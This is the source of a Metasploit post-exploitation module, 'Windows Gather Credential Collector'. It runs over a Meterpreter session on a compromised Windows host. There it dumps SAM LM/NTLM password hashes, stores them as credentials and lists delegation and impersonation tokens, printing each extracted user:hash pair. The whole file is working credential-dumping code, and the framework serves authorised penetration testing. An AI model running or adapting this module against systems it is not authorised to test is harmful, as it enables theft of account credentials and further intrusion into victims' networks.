Path: blob/master/modules/post/windows/gather/credentials/credential_collector.rb
31189 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Auxiliary::Report78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Windows Gather Credential Collector',13'Description' => %q{14This module harvests credentials found on the host and stores them in the database.15},16'License' => MSF_LICENSE,17'Author' => [ 'tebo[at]attackresearch.com'],18'Platform' => [ 'win' ],19'SessionTypes' => [ 'meterpreter'],20'Notes' => {21'Stability' => [CRASH_SAFE],22'SideEffects' => [],23'Reliability' => []24},25'Compat' => {26'Meterpreter' => {27'Commands' => %w[28incognito_list_tokens29priv_passwd_get_sam_hashes30]31}32},33'References' => [34[ 'ATT&CK', Mitre::Attack::Technique::T1003_OS_CREDENTIAL_DUMPING ]35]36)37)38end3940def run41hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']42print_status("Running module against #{hostname} (#{session.session_host})")4344# Make sure we're rockin Priv and Incognito45session.core.use('priv') if !session.priv46session.core.use('incognito') if !session.incognito4748# It wasn't me mom! Stinko did it!49begin50hashes = client.priv.sam_hashes51rescue StandardError52fail_with(Failure::Unknown, "Error accessing hashes, did you migrate to a process that matched the target's architecture?")53end5455# Target infos for the db record56addr = session.session_host57# client.framework.db.report_host(:host => addr, :state => Msf::HostState::Alive)5859# Record hashes to the running db instance60print_good('Collecting hashes...')6162hashes.each do |hash|63# Build service information64service_data = {65address: addr,66port: 445,67service_name: 'smb',68protocol: 'tcp'69}7071# Build credential information72credential_data = {73origin_type: :session,74session_id: session_db_id,75post_reference_name: refname,76private_type: :ntlm_hash,77private_data: hash.lanman + ':' + hash.ntlm,78username: hash.user_name,79workspace_id: myworkspace_id80}8182credential_data.merge!(service_data)83credential_core = create_credential(credential_data)8485# Assemble the options hash for creating the Metasploit::Credential::Login object86login_data = {87core: credential_core,88status: Metasploit::Model::Login::Status::UNTRIED,89workspace_id: myworkspace_id90}9192login_data.merge!(service_data)93create_credential_login(login_data)9495print_line " Extracted: #{credential_data[:username]}:#{credential_data[:private_data]}"96end9798# Record user tokens99tokens = session.incognito.incognito_list_tokens(0)100raise Rex::Script::Completed if !tokens101102# Meh, tokens come to us as a formatted string103print_good 'Collecting tokens...'104(tokens['delegation'] + tokens['impersonation']).split("\n").each do |token|105data = {}106data[:host] = addr107data[:type] = 'smb_token'108data[:data] = token109data[:update] = :unique_data110111print_line " #{data[:data]}"112113report_note(data)114end115end116end117118119